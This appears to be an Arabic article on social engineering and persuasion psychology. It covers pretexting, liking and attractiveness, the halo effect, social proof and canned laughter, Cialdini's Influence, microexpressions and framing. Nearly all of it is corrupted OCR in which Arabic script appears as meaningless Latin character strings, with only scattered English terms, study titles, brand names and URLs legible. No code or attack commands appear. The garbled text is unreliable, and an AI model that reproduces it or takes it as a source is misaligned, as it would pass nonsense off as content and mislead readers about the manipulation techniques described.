(jjjj <j|j aJL^JI J ^Ijjuoll (jjjUll - ^ ^a^j L» 1 ^j.^ ^ il)J-^3 cl^ * cl)^ l^c^ 1 l^j^^ ^ cJ^- Jj s-jlAill 

jll ^ j£ii Ai!^ 

^.ta^al ^J| ^Ixj (jjill (j^ ?? 6JjJ1a3I jl ^cjL^aill" J3j J (JjjUII Jll 4ili3l (jjJ AjjlLJU duUj c5j^-VI CjLojjWI j djL^a j^ill 

(jj£j LaJjj AjJjoj J^*^ (jl (j^-<Jl (j-« (JjAj^II ,^£Jjf^J V (jJ^I (JjjUII ttilli (j* I jjojI jl ^UjslSI <JL^. J jll Aiilll (j* 

V (j^akjuj (j-d 4_x»,jLa3! *^ lia II A ^Ju <aj\\ (jc <lsul!L<J <jJajc J^l ^1 ^Jl 

^jl Ljajl ciljk (j^3j t^jjj L-Lu^] ciUij 

(pretexting) ^sj^ ^ .<ajLoj ^l j^l J pretexting j ^ > ^aliJI Jl ±yu ^ j^ixJI I1a .1^ ^UlU jj^j* 

.^Vilj^ AJc (jj^J Jj^l li^ .till Ajuji£ ^LaAklujJ jll (j^i^ /Ml I1a ^j^aJ (jl c . la>J C— Li^ tciSjIAa a jl tilj^S j > V tiljli 

.<! j^oj jj£I pj^aj* (jl (jl^j (liking) ^ tjj J *^ ci*^ ^j^ >> 1 " 
(jjliAj jJiJI .(physical attractiveness) ^^^1 c^^^t lh^^ ^ ci^Jtj Liking J j^l j^l 

Jl ^ J^jll y-A QJJ^^II Ajjuoiill ^^UJI (J^su .AliiaJl ^ 4Aj jj^s J Uli^ j (JjjVIS .Lli^ ^ jl " J^" Jj IpVsll 

fi jSill 

Jl'j '"What Is Beautiful Is Good" 'u^j^ ^tj J u^j '^j^ c> l£ 1972 ^ J lW ^ 

t^jJaa^ia AjjiL^. dili (jjJ ^Jjjlll ^ jlj^ ^^J^^ jjj^II pJjVl (jj£jLauJl (jxi c_jila L_ Ll^ AklAsJl ^cjUn3l (jiaxJ (j^«-!l CjjlSa) 

. Jjja jll ^U^l J 6<LUi3l '^UjoJI tAjj^akjuoll CjLajuJI (J^.1 (jxi (jjjlill ^j'qM dljl^ (^5^-3 j jjj^all Jc^ ^Lb .'^JJ^-C' iA Ljuj jlLd 

L_J jC.J-« (jt^ (j-« JJ^I JcVI 4^iL^Jl dili (jl^ (j* 4il djjficl (JjjUII (jl I j3 tJajoj jl<Jl L. ll > j CjI ^JjV^I ^-Ia^jj I j-dlfl ^aJ 

jjju 4ilj (_^j^l i ** 9 > ^> (JIa^JI Jj (jjlix^j (JjjUII (jl <juj|j^3l CiLji J ^ a j jj^Ij t'^lxjuj j!i£l 6(j^<JI JjJaal (ilLdj tUcUu^.1 
a m ^ 6^.1 j (jl c-u^. '(halo effect) 5J^JI 6jaUs Jc Jll<» 4jujIjJI .Lg q^lA J Aiiill Jc oj^ll j ^jIjI 

(j-d o^iaJl CjlL^all Jc cJ^^ (J^akjaJl djljljall jLi^JVI dlii L— Li^ .^aa /Ml t - ll q > ^ (jxi IAjjc. Jj ,j!Lgj jl JJjLill 1 «QJ 

I JU3I lajljll (j* <U1<JI ^LojIjJI oi^ (jA A^j CucjJa j ^3 . J^Vl (j-a^Jl 
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;L_JJjuo13 dil aJUa ^aJ^ ^5 (Jl tt^Jl J I J*A*JJ (j^aLkJjt (Jj^>lkluJj ^Jl L— 11^ .(jjjjjault <J-?^ " (HttlO €ff€Ct) ^-&lt " ^ f laJLuJJ Lo 

ti& <jl£ tit Sai^ uj^ tj^j liuiaJ' t jj^q^t t-ajjj '6^1^. ^.UjuiVl (jt Ljlili (jjjJajSL l_a jjoj (jjj^Vt (jli ^UlUj t$.|jjj^U t<J£bU 

_ "4_^^^Jjoij (jxi (Jj^^lt (J<t^ ualt 

.t^ lilli Jxij j ULolq ^Jjjjualt J <j* ci*^H U^-V^ ^ 6<iaii3t £>i& (jc jasu UL^ Igit tjUtilt U^lct I J^J-a LJ-ifcLui 

."4luu 24-18 L>* (JJ^ J CjU dU£ Ut ;J <L.Aa> (Jjaj^U ^Ijjjj 4_JjLi3t C5 lc AjtisJb ^lajj djUUj ^Ij dj 

V .^Jjjonlt ti& AjjiiC ^t J^±i (jt 1 lj£ aJ (jjJ^lxJt (jjjUlt (j^J t^j^jL^aJ ^j'qj'q^ 1 g ^ j tia^La L^uii <jti^. C-Lujj] ^^jlt 4-jtia. ^±s\ 

.24- 1 8 ^ lA^* W ^ij (jl l^JU^i (j£3 1 (g u h ULa> <J jij (jt 1 y& a) 

."(Racially ambiguous) Aj^akJI i-i^lfc ^iiSf ^ J*a£ <Jt dIW f 

(j-a jj La-laC- ^lla p bj-ui ^t f tuajj ^ *tj-uj L^S L-JUuaj 4Jt (Racially ambigUOUS) 4jj<nitlt AJaAt> ;4jaj^La 

(f Uiajj ^tj j-uj! Ljt 

jij (jt (j£-oJ V (J^J (jJjL^aVt (jjjfLi^Vt (jl£jailt (j* jt tfil > ^aJJ ts-b jjoj C-Lau] l^jt .c5^>^Vt (JjJjjonlt AjjIjc ^j^ijcH, ti^ 6<_£^kt 6J-d 

_ jii^vt ^^^ic ^ j^-ii aLIs j (jjAi^vt jj^xii ^-jti^. (jj^i ^ ^^t j ti^j j-<i (jj^j ^ i^-^J j 

. M g^ CjUaJt JtHi CjluiJt j^j J>*uJt ibut (JV (i^bVt I^A Ut" 

# ^a^>su (Jl Aj^)j j tt^i^ (JjxKjj iAl±i\ (jjdj!>Li (Jj^JJ ^£-^-9 M^-^ 1 ^ T >J u ^\ 1 J ^ (S ^> 

l^jt ^Laui (jiajC j!^. (j-d , J^A^^ t° ( ♦ J ^t 6^JJjua£ t-^lj^lt JiLd ^UjujU ^^J^t ^ic l^J <a3lk-<i Cjl t JJ^Klt i^U tilli AaU 

^UjaiVt ^J^> J 'i J^j ^ti j IAjUjcU IgJ J^±s (Jl ^t t^A t^^A La£ 4 IgJt ^fl ^UjaiVt (JS (Jaij (J) (J^J 

U ^ JjSSf <bAtJ Ut (jVt M 

c fljSjj t^.^ IujJ 6^t jit clA*^^ U*^ 'LSj^P- (J^lc-VI ti^ .(jtaftlpOns) ^^-^t Ja jilt/Cjl laliaJt ^tjJJ ^^jJa^J ^aJ 

(J^lcVI I^A 4Jc^ ajISII t^Jt jli ttilli J£ (Jx ^jlt (jSl j .^tjj^Jt ^ t^W^I ^t 4^Vim^t L-JjlLuaVl (^ cill^Lo^lt 

,3Jl^Jt J^U ^at^Jjajt j till (JJJJ 4 

;<jti^. jj£ilt gaJ (Jl L-Jju alt (J-d diS jit (J-d (^i^J ^ ^cJ*^ ^ '(liking) 4-J^C-Vt 4_LdAt (jc ti& J£ (Jc (ilia^s«-xi 

4j ^U^Jt (J^J ^^c-Uu^-Vt (JjjA^aII ^(_^juj l$\ i^IUa 6(J>uu (Jl (j£>uJt (J-d C5^^J cJj^?*^^ r^l^t^>a> (jC ciL^U .^jti^. otj-dt (jC <ili&li 

?t^<Jt ti^ ^ S^liloj^U 

(j-G J;i^Jt ?D^)Iaj j M^W j ^(^^juolt jjIalxJt j& t^jjdJj c flj£ _<! <J jjc. j (J j& Ai^x-d Ai^stxi 

L_J jALd ciL (j^aLklt Ajujilt j c ■ UfL S^Ua-I (jjSAlllj ^ jflJ ciljj (jlajlii] ,L_fl^Jt c fllflj) (j£-ftJ (JJJ^t ^kt jt Ujl^ 6£-U£LJt tdit^A j^<Jt 
(jjjlilt (J>» 4^juj L_fl^)j^aJj ;4^jtj ;*D^)Iaj ^.Ai^ ^)*-^ jti .(J^t (Jj^jjj Cjlx_uxJt ^jjALd Aiaa a (Jl ^aisu (Ja ^CjtjA^Jt CjIx_ux» 

(jc tAudiil ^aUu^Vt (J>» Aj ^yS\ jj (jt 4iUjj (j>» 4^. jit ^ N ^ J Ajoat ^>stjuj ^ c>5 jauJt (jli (illil t<jti^. 

t^xjuolt CjL^jjjoiJj (jjdj!>LJt ^t^Jjt ,^L^aj L_fl^Jt lg_x£jJJ ^^jlt <L^)Iajt (jc L— la y (jt <Lj <iL (j^aLklt L_fl^Jt ^^xJ (jt 1 1 

Cli^. (3^- Ua jjuj ^laflj j^juj ^jtj ^^)^ ■ jt^l^Vt jt tSl aJ-Lall J <Jjj^aJ ;L_fl^Jt ^ ^ - (jl ^^llt ^U£Lgj tdit^A ^\ J 

_£-\_^i]t ^t (_^^jJj <9j3t ^UdJ J^J L_fl jjoj (_5^tj i<l c3jj^ 
fitjJ /'^laUlt (JjlC ^ jU^Jt" 6 6jUxJt .^cHaH ^ > <aJ ^t Aj^UJt 4-ljiL^Jt (jxi ^ J^J^J I^A j .UlU^. Lg C . L^J (jjjUlt (_£^)^.t 

,(jjjU3t l^ic C5 -jJajJ jj^Uxlt *ailt ^LjJajVt Jj^Uc .U^J UJ^ ^ (J^al^Jt L_fl^Jt 

^3 j y"i\\\ JJ jJJ^^lt 6^_^.t ^WiWtW <^.t j a > <aJ ^ djt jJjirMlj Ajjj^j ^Ljajt Cjl ^Tl^ ^lljj ^ <JC.^)3t djUjt (j^-GJ 

^it ^ ^ > <aJ .^clLilt ^ AjjJax»J L_fl jjoj ^^llt dlS jit jt^Ld ^*^ >1 ^^ ^Ij^ajV 4_J^)^J ^^"V *^J^^^ *^J^^ LftUu^t CjAajt 

4Jt Ia£ tgiiLalt CjUIUl^. ^ j aJJ 1 oj L_fl jjoj (_^tj jUJt (jjjt j <cll^ ^^ic 4_!!L<»t l^J£ jU.uJt ^aJ a - j t4_icLL^lt A uaAl^Jtj tdjjljyt 

_Cjlx-llxJt ^^ic JJjJ 

(j>» L-jL^joijVt Ajjj ^'^^ C5^] ^?^J^ 6 ^^HJ^^ ( a, ^ s H UJ^A^ C-H^ ^-nllc. cJ*-?^ ^^jt .IgJ jlUi ( . laj (jjjUlt 

L_fl jjoj ^-laxJtj <ii3tj ^aAlLJt at laJL J ;j l^t ^ ^1 ^^jlt CjU» jlst_xJt at iklLujl J ^ ^^cUu^-Vt (jjjAl^xJt 1 ^ l^JJ (jt (j^J ti^j ,4JL^Jt 

.lJ^JU Ajt ^ (jjli 

Jtjjuj ^xi Aj^L^xJt t^J 6^-LjajaVt lie. j a fl^Jt ^ J^lxilt He tilli j fl^t ^ (J-ol^lJ ^UJjVt ^t jiaii (jt (j^J c ^C.L<U^.Vt (Jjj.V^ ^lt 
Jj-dJ 6 j^t (jxi ^J^Jt A^t jit ^5^11^ LdHc -c ^jL^jVt jj^s^t (, . laJ (jjjUlt .Alia j-at ("tiA dlJjjJjt (JjI (jxa ?c ^ilaJ ^.ti^. tilli" Jla) Injuij 
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La£ j*-^ 4 W> 4L_A^JIj AjjIaII djjj^II j*li ls^\ Cj^LiL^xJI £>a& ,4_ijL^jj jj jxlll ^^ic J jj^^JI <J^j (j>* ^Ldlxld ^.taJI ^1 

6£Jjujll 4JjajujJ ^ A> o ^JJjlj l^-S (JJ^J (jl (j^-aJ ^jL^jVI jj jxlll (j -0 U' CS"^ L) - ^^ 30*"^ J J^ 1 ^ J'"/"" AjL^La CjjA^al 

. Jljjoij ^ jc AaJI ^L^jVI jj jxlll ^Ia^LujI a j 6 jjjUII 11a _l^lJUi Aaa ^ Iajj Ij^ jjjxlll c-Uacj LoAk. 4il cs-**^ 

uiAj) (jC ( . lllaJ j& Lo£ s-IAxjuj (JjjUJI (J*-?^ J J^ J^ C5"A-^V^ ^ jl^l Aij^lall i>A& 

(jjj^nM (JjjUJI lI*-?- (^c* ^I^Ijujj (jl ^l j Its £Jjl 

(JjJJjuJU m £ 

.tLLuj ojj^AaII (J^)Iall ^Ia^JjujL <J a laia a]) *^^j L_flAg_ll £x» ^ a i aj! ^^ic <J jj^^Jl jl 4(jxil jlll ,3 

. Jlxi j£.uiJ Jj^al jlll .4 

q\ JuSjt u^Vjlij Jj% to Make People Like You in 90 Seconds) Zpti90 ^ <4 ajr J*^ l-L£Uc& yi 

4il .L-1xj> .oil (j* ^ jVl ^LllajVl Asu m 4juz c-UllI (j* ^ jVI <^i! jAII (j-a clfc^ J J^ L>^ U 1 "" 1 ^ ^ JJ <AAjl£ lij La JJ^J (JjjUJI 

ji&l cillx^j (jl (jl*j AillLJl CjVUJI (j* AjAxJI Jlxi J£jujj Jj^al jlll j diWill ojAall .^^LiJl (>u^ ^ Jc^lilll ^ J ^ jjj 

(jj£jj tiaLudij ^LdJjujVlj t4_lijaiV! ^f^^ <^ ^ ♦ J.^ ^ ^ ci*-^- (j^ ^^i^ J^Vl 1 (jt-^ (J^V lIj^j 

(Consensus or Social Proof) <^U2*V1 ^ J e^V 1 ^ 
^jja jll ^•^i ^jjj^la jjc. ^jjjUll (Jj^j UiAjc ajcLgI^VI j-<JI ^ cjAaJ ^Liuiij o^Ua (Social Proof) (^c-^i^-VI J^^l 

LoAjc ^jLuj jA til jLuoll IaA ,AllaLkll jl a 1 gall ^jljLik (j>» ^1 ^ ^IjaVl (j-a *^J^ CjIc j^^ a Ai£lj (^^jJ (jl (j^-<^ ^-C- l!^-^ 
(jjlll (jj^kVl (j>» ^£ jIjuj (Jjj^ju l^jl ^AJLaJl i>A& £A J-dlxil! A-iij£ J j^. ^jl^^a jUaj 1^1 (JjjJj jlU» j;iC. CjVI^. (JjjUII cJ^-^ 

JJ^^ " 'cr^^^ ^j^jj jj^l Jj% '(Influence: The Psychology of Persuasion) ^UaVI A^jljli^ ^ 

jjj£3l (jl L— 6<J^)^j3I oAA ^ 6A^.I j Aic jA^LaiJ 1 jjl^ La A^J^)1 ^Ldjuoll ^1 (jj^laij L_fl jjuj 6jUJl (jli .g-LojujH ^1 ^lailU 

_"djia jj jjj-<Ji ^^>^ cfi uj^^ ^ (jjj^li (j-« 

JjS (j>» l^iS t 1 U'q . t< ^ t"ii< (ijj <j j3 (_^Ax» Ai^s«-xi ^^Ic tilAcLujj (jl l^jLuj (j>» ^^jII L5 c\ <lL^.VI Ly^l (j^ ftj^-^l 4_liL<iVI C-pasu (JjUjI L_fl jjuj 

^ij Ua3x CjU^I ^ ^ Aklujj (Social Proof) ^l^Vl JJaII .(JjjjujIII ^ ^ a^Iujj (Social Proof) ^l^VI JJ^I 

jl CjIjIxjuJI ^ (jl > .^i^'qll dll^jjujl! (_^liaJ LdAJC jA .^JJt ui Clili ^cIIaII (jl (jjUl^ ^11 (jjU^ll Lua tAJlc Cjl tjj^ (J^-iaj 

>C5 -ixijJa AjjIj ^ laaU AjIAjjI (>— Lia tl^jlc jflaxJl CjIjIxjujII 

J;1jjuj u( j jlua-dll ^Ix^j ^IjaVI c> j (i^j^ 3 j^^j V (Social Proof) ^l^Vl JJ^ll 

.^tlLaJl (jjjij ^AaJLujJ L_fl jjuj IgJl j 4 jjALuLaII ClAAju^ll -lafjjj (jl Aijj ^)^VI (jiaxJl ci*-?^ ^^^1 ^ J^UjiaII A^.1 -laJj 6<JHa1I 

•4lila 4lix»l ^j^-a U^j t j^LuiaII dilial jxi ^glc AJldVI (j>» AjAslII A^.jJ 

.(Kangol hat) <J ^-x-^ i\ ^'\\ ^ILq ajjUI (jj > >i^l ^ Jjj^U^ ^gic <J j> ^n^ll ^gic Sj^li di^jj^l cjIjuSH ^^uj^II ^jj^II 

.(Canon) uj^ ^ kj^ USD ^ lij^ljUi UjUl u^^ll ^ ^ 2010 ^ - 

(jjj-d 20 J 1 <c jfkxJI cjU^IcVIj (jjj jilill cjU^IcI ^ T-Mobile ^ Cula jj j^> Hj j (j^jj^ 

jVj^ 

^jjjU 6 AT&TJ^ ^ cJ^I t> USD uj^ 100 c> j5Si jj ^ ^ '2009 ^ - 

V ^1 J15JI J^- J^TAG HEUER j^j* (Nike) 4^ '^4^ 
.(Nike) ^ ^j^ C5^^' j^j^ uj^ 45 Jljd V u^jj^ - 
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.1 Can't Believe It's Not Butter aJj ujjOj 1 gOj 1 - 
.Louis Vuitton ^ ^j^jt? jj^ 
. JUU1I ^LUl Chu High ^ 

^jj La^C -C5 £.Uu^.Vl J-^ iaJjJalU j& ?l^l^2Lal j^LSuJl AJJU Jc J j> rt^W .Jj^al <*-^£jJ^ll liLal 

(Ji3 (j-a Sjjujtl-a (jjljSJ tdjL^lixJl (jC dlljAaJ) (J^ jl aIA^J ml jl £.|,JJjl (jjfijulXJj (jjJ^Tj (jj^j^juLall (J <nl ^ nl V I ^jSlI^JjouJI 

.AjS ^AA/i^yili <J£ (J^Vinn CA^ILall aifc (jl Jc Uj3 ^U3^ ^LuU L_fl jjuj Jji&ll .£j|jj (jjjAAxa ^clLall li^ (jl t flj£ (J^tn y"i\\\ 11a 

cill£ <Lj (jl tdli (jl Jc IgJJ^ lA^j (jj^l J {hottest) CjIxjIII (j^asu tgJ (jl 4jljjja£i3l Ia^ J 4£jJa3l dJla 

(j* f^^l " 6 J^j ^^^1 j^l" jl "Wf* ^> j^" 6 <-!^ I j^j^ ^ {Advertisers) Cjj^la1\ 

CjUllalall £>i* J LuXa j/Ujl jSl (j-a ^jAxJI 

^Ui^VI JJ^I/jU jJI ^I^IojU ^ita*Vl Jc jjjIjII <jc JUL Media-Studies.ca ^ j-a jj& 4t*Ui Jl AiU^VU 
http ://www . media- studies . ca/articles/influence ch4 .htm 

c> j^& J J&Sj J J^ tik > jj^JI (jl J < (canned laughter) < jW^ l <^U > Sai l ^l^kl^l jl cj^j ^ l_j jUjJI jl" 

(jl Jj J;jjujj aIjVI (J^asu ;<illi Jl AiLjaVljj .AjLma lgj| Jc ^1 j-all £-a tAjlcjll ^JJJ ^lajj ^1 j-a ^JJ La,jjc (jLi^Vl 

J (jj£j tikuJall jLouj (jl Ujjuj V 6 liUJ ;JljjoJI ."aIluJI djllill <A*s j5£l (caww^rf laughter) ^ jW^ l cikujJI 
> ^ill La ^j^i3 <vv^ u>n Jl! cJjLuj jl! ; c ^cLdi^.V! J^l^^ '^f* c^^W 3 o^J^ ^ JIjjuoII 11a Jc SjI^^U ^^^-^ j jU^VI (j-« 

(j^jL (jj^kV! ^■j^ ^ \j T * J j5^l ^^.1^)11 j ^i^j^II <il jLuol! J! Jaii Ujl, . .^j^ > <^l J u^^)^^^ ^i^)*-*! 

Uaal jj lil ;U1 <jjou1U ^ JIuij S^lc Ja*j Jllj jl^alkl ^Ul^V! "'^ j^l^ ^ai^l" (jxi U ^ JUJI U£ ."tiUij 
^tiii 4jL^jjoj| jjjj (canned laughter) L , ^ m ^ - ^all (j! AijLa .ajc»1 d jiA ^1^1 VU»l^.l Jal (j^ia ^Ul ^ (j^J til jlui 

."IA^AJ ^11 (jx» (jlj ^^^C jll (jxi (_^ Jc llilc JjJ ^Jj^ dil^i^i 4_lX-<ijal3l CjljUjjy! (j! J! J^iJ JJ A ^ (j>» 

ffilSSf! Jl cj^-all jU*t4 4iUbl ^jj dm. '(laugh track) Uiajl ^^yu (canned laughter) < <il t ^W^l l ;4iajal4 

CjUa^Ill jl CjI&HI jj 4JIj tjjj a^II tilauiaj (jl f j^ll ^ jjj LajjP Ja jail (j^a f Ij^l ^Ul j^IujI ^jjj .Aoj jjJiUll j£ll 
Jjl a j jl ,4^Lla1I tila j Cjlill! ^hVu u\ jaj (ila f j^ll Aoj jjjiUll AjJjya jill ^^iVI (jjal aC5 AJj^lll j ^ Jj-<j jill 

.dli Jp CjIIIII jl jilt CjUa^il! He jj^-iaJl d^Ja Cj! j^al ^lilluil jA £-ua! 

5^1 j^l ajU^ jj^J! ^ j£ .1978 r lc J (£)r. Jf. £). Cra/g) ^j* jj^^ll ^ Jl»j ^ J Uuc jJSVl ^ j^l! c> ^1 j 

A-jjoiill CjIj^^aI! j Ajjoi^JI diljljil! 4j Jaj Jc AjcUu^V! CjIjjjUII (jl jisu <llflx jJli 1978 J .(J^^ 6 J^^ J 

.(Social Modeling Influences on Sensory Decision Theory and Psychophysiological Indexes of Pain) ^ 

;Jaj| jll liA J^U (> 4Jc ^^ILVI oSaj Jllj 

http://www.ncbi.nlm.nih.gov/pubmed/690805?dopt=Abstract 

•JUl! j^il! Jc. 1 ^ q> ^ j jl! j L* Ajj^ ci*^ r*^ J^ J 

jjiaall A-ilailll I gjl LlL gaJ J (^jUaxJl til jLuol! j-aC laJ Jill L_b ^jull j! ^aLauJ! ^li^U ^ jll A jcl <lL^.VI ^-iUull (jia^xJJ Jill > >il j-<J! 

/ la all J lIjIjjjaj j! <!^V! (j-« jial! Jjji'^l (J-'^tJ CjIjjjtMI d^A dljl^ ^1 jjuj ;<illi ;4^jJa!j jjc. l^jj .^IjaII 

non- palmar skin JL^-I j! s (j-^^a J^lk (j-d <LLuall djLajl jJ3 ^j->g i^ll ^ j;^ll Aj«jjaLkll j j^l^ill c-ua^ unl *LujI jJI 

aJjjljj ;4_jjIjj^£ ^ a L gall 4.1^. jl jjjoiillj <Jjoiii3l AjL^JjojVI CjI jjujja! ( . llall djUjjJa <JAx-<»j palmar Skill ^ jJ jl JSj Jj AiUiaVU 

•C5 ' J^J^^ ^^)^ a Jf ^ ^ £A ^IVI (j-« 4_llailll CjIjJJjuH 

^qLoliaII ^-i jAill .a^qI ujIaII <c ja-\ a\\ J Jcliiill (jialLkjl djj^Jal ( . ilall djUjjja J-ix-o j non-palmar skin ■! il^jj-JI ^ ^-^c 

^x»Lo£L<Jl jxul (jla^xjll L-l^L gaJ c^ill ^IVI CjIjjujj^ J Jjlsu c^ill jll <LuxLq ^ulUll lLu^S .Ujli JJ jlill (jiali^Jl £a -W^J -0 

.diUi jlst^Jl (JJJ^C Jc 4_a3ja1I L_JjLaall 4-luib.nVI (j^ajU^iJl J J JlxUxJl 

Aj jlilxi djLa.j^ ^ (j£J j JjUuxi ^I^JjojI ^aJ m ^je^\ (_^ jlaixi ^JflJ ^ La L_llla ^aJ (jx» j 4_xiAj^J (JjjUII AjU^J jl^ LojLajl aIslS tl^A jU^lkV 
6^ jjJa jxJl 11a (J j^. Ajj^joj 6^-Uc djl^ jl La£ J^ Ajj 'L^^LualLo' (jl^ (^ill j (j-^kjuj jjjJaa. ^xi jjiii ^lill CjLjA^JI (jxi 

.^bUU^Lou j5£!(jV! 
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(j^aLauuiVI .ill j^. (jJ^i.Vl L_fljj^J ^JQJ^; JaJJjA ^alVL jjxjoiII jl (jlajc jl jlgJaV jaLaJl/^il jll (jA 1^3^ a 6 ^ 
^jti Cjj^ial ( . llall CjbjjJa Jjaa j i^skllt) ^laJl jLtil J jJj iJSI JJ^ ^jL^al (j-° ^— AjJ^aJ (j^aLau^l Jj^-a 1 J^J^ ^ CliaaJl IjA ^£ 

.jUaH ^ ^LailJI jaIII jl£ Ujjc ^bU Jxi jj Jal 
; JLill J«j| jll J^U ^jj£ ^jjjili ^laL jJ JLill j^all -^j^> l>° ^^LaI^VI JJjJI/cjLjVI SjS (j* 5jIc jII ^jjl JUa 

https://www.youtube.com/watch?feature=player embedded&v=oGwcZsOge2k 

<jikll *>ll ^ Sj^Ij 3 lajj jjc. 4j| Cilia ;Axj^a>Jl t a dIajIj ^ablll La (j uj ^Llll £Jj 1 ^ J * Jj ^ - b jJ 

J-*^ .a*j^aJI jLla.VI Ija ^jjSjLauJI jl^aVI (jA cJj^-^ j» ^Ua (jl£ ciiia _illj J*-^ ^j^?^ (jV jaj^aJI (jA 

(j^aajuJl) ^ jjJa jaII ^-^1 AjiaJl IjjaKll (jti 4(jl jJ ^> >ij Asu .c-ljjll Jl jl 6(jJAjll Jlj 6 jLoull £>JjJJ 4-^1} lS^ UJ^J^^ 46J.la*A 

.CSJ^VI CjIs-Ij^VI c>asu ilajl jl iAjuS 4-11 jl 6£>LajVI (_>ij Jc <La.l jjj Ij^j jj£j fljfrll 
^a^jaJl <JjjaI jjq^M ^AaJLaJ (jl (j^AJ IjjaII IjA ,4Jjla obi (jj£j (jl (j^AAll (jA ^£>\ al^VI (J^'^6 all JJ J ^^cl al^VI (JjIjII ^lAaJLujI 
JjLaJ £>V^La. (jA tSjJfj ^aA (jjjll (J^asu t-^JjJ ^IjflVI AjAslSI JjS (il jLoj jl il^il cJ^-^- Cy* ^ ^aJ C^^i^ L-lliall 

(jjj^VI ^ jLj ><J jii^l (j^ld ^^ja jll j jj^ (JjjUII jj^j U^ic- : (Uncertainty) ^l^l/o^Jl 

.^-uiji ^ jj^jU^i (jjill o^j^VI ji^ ^ jii^l ^Ull : (Similarity) ^^21 

(jjjUll £yz J^^^ \f )A * ^ ** L P X ! C-H 3 ^^ .(^-^ l!^^ ^1.^1 ml A j£ aj ^cl al^VI ^jjj,V^ all Cilia. Ja jJjuJI 

^Laall liL^jS Ajjj ^jl (j^J U^*^ ^^^>^j ^^'^^ ^ L_fl^Jl 11a Jj3 

6<J J^juJI £>^£J Lftjb Lg^^ ^>VI Ly^^ .J^J^ UJ^ JJ^>^^ 6 <J J^-^^ J (3^ J (j^ 6 C5^^^^ L>^^^ U^J^ 1 

#C5 cU»la.VI (Jjj V^ a\\ 6 j laJ > o diaJ > >i j IgiLuj <L^)]a3lj Jclilill a^J ( . UjujJ j t^g Ikj t^jjjUll jjiaal <JC.Ldla.VI 

Iajjjj ^^ill <L^)]a3lj jl L tjclilj t Jxij ^jl jjjj <Lcaj ^a.1 ^aauuj C5 ic J jj^aJl 4jUr> jA ^USVI J^Lill ^jl laA j^ij 

JjcaJ ^j) Jj^aill liA A ^jUaII oa^J (j^J -c ^cU»la.Vl (Jjj V^ all Ajjflj ^Jacl l^il d jS jA c aa^J) (j^a jilall laA ^3^- 

.(JaslI! £yz J^^^ J 4-^^ J*^\ UJ J L>^ J '4-*^ J ^ ^^xJaxJl S jfill 

6dA .AjIxII L-Jxj gall Sja ujj L_fltL!" ^jli (jlijj ^aJ U^J ^ ^ U^J^ LdAsu ^j) CjAa.j U» ^gJjj ^^^icl !jL» 

/oaia. ^_^A t ( ^cLdla.Vl (Jjju^_a£ 4_^aLa.j jjc. ^— fl jjuj c^iii ^>^^^ (jW'n Ldajc j^^Jl ^^^-^ jJ (j^j '^^^ ^ <9j^a3l 

microexpressions ^ <jujjUui ^aJI aic 4<J11a3I Jiiuj ^^ic ,(jj^a.V! djc.Li.aa1 I^Ij^jjoj! j tdlli^^a uj CjIjI^I! dja (Jjj^>*1 

,ljjjflj <J jixll (ill ^juii ^^jII <jJax»lxll 6 jail (J^axJ ilijl ^jl Jfljsu ^jl jA AjIjVI ^jLaJjoaVI (JjSj J3 6L_flJ^JL c_jc!^j11 1 ^ ^1 laJLujl ^la.j 

.^^^joi L_ fl^>xJ iljl ^jiajliij V (j^lj ttillj (j^l jaJ (JacIj Djl^-ol! £>JA (JJJjLd , j^aJ! ^ a^aJI ^ Cilia. (JI^aII jA IjA 
6JA ^j-d ojI 9JjujV1 ^alxjj L_ Ajjuj tiljli t^Lau^a UJ-^ C-J^*!^ £Ji3 t^ia.jiill ^jc L_fl3 jjll La (j^aauui 

. JUaII 6JJJU C-Laul AjC.Lala.VI *LojJ%!I ^ iL ^aLaJl ^LojjIaaII ^ I^qIj^Ijuj) j t(jj^a.Vl 6jli] ^ ^c.jl^ CjIjIj-aII 

AjjouIIj 4j*_iilall CjIjjsII C-Loul djA CjjI^ lili m *$x a ( fljalaUJj ;^aJJ ^gJJJLJ t^jjjlilL 1 aJ^ o !>lsLa (jj^J (jl illd ( . lilajj CjIjI^aII djA (j>» jjAxII 
tilj jij (JIaj (JjLuoI! ^ajaill ^ CjIjI^aII jV 6Cj3 jll tiUi jUjI -<^1 j .CjIjI^aII ojA ^^Ic J jj^xail j^j JaxII Ale L-lajfl ttill 

. jjlmj^l all *La.jj ^^Jc. ^^cLdla.! ^jjj.V^ a tilj j£ 
tillj j tilaljAl J;i^ij J^*J (jl (j^AJ (jl^ IjI tLjajl 6(jVI .cJ^-^^ UJ^ ^— il J^-a1I 6JA L-jL uJ^V jsIxj Lg JJ*J (jl (j^J <j| <Ji^ 

_^Ja 6JJ^)J La JaJjJalL jA j (jjjJa^xJJ Ld 
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(Altering Reality: Framing) jjfatall 

AJ jji-a J Jj 4^0^ ^5-^ ^jW^-V^ ^ J^ 3 ^ ^^A 3 .^^"^ cJ^^ J ^1 J-<^1 ((jlajc) (JjIaI] A] J))^a\\ ^cl j£3l j (JjjjojVI J^f^-I 

»sjj Q ^^ ^ Jj£ ^ ^.luiillj (Jjljoijll ^-9 J^ C5"^ C3^)^ (Jjkjjjll (J^ 

L. h <JasUj ^^cLdl^VI jJl ^9 ^llalaiJ ^^£3 J^ 3 ] J £^ ^aJ (jl A-ilc t . LaJ (jLmj) U' CjW ^^^-Vl clialJl ^5^"^ 

dlt^VI J Jj^'^l 'f^l J^ JJ& ^LoaJ jjJaUll tllilc l& jJjtj j ^IcVI J ^jlS jJl LpajC- (JjiaJJ "jjJaU I^Haj^axJl 

.C-W^ UJ^ C5"^ dil^Ji Jc-J A l£ uj a (jj£j (jl (j^-<^ J^ CLAjJjoiaII Jl Jjl^J .iC-LuuI JjlaUll .dlLa jIslaII 

Jc AxUXJ Aj AjL^aLa jlaj A^^. j lA <j£3 j ((JjoJJxJI) L_Jjl£Jl jl Jja^xJl 1 g jKj ^^jII dlLa jlstxJl ^jh'n (jc Jj^ l^U^ll lit 

liLa (Jjqun<^l) ^U^uJl jl l$Jisl\ j±z^ AjjlikVI jl 4 jfkll AjjLa/tfl ^ikijll Jc jjjj ^jJI Ajitaj Ajilk j Aajjuax diLa jls^ 

Jij ia^a ^jjjJ j& J jj^kxJl j 

L . J^ dil jl^ill (Jclilj ^^ill AijjUl JJI oLi^JI J ciilj±iJlj CjU» jlst^JI Aj| Jc (Framing) j^ 3 ^ ^-^^^ 
cillac J till ^ajujj ^^ill jj^kVl l-jjL^jj A y *m UjjL^j (Framing) j^ 3 ^^ t^^cUu^VI &1I jjc. ^laj ^-^.j .Ia i^Ij 

oAi^lj t^l^ul! <J^)laj AjUj^j 

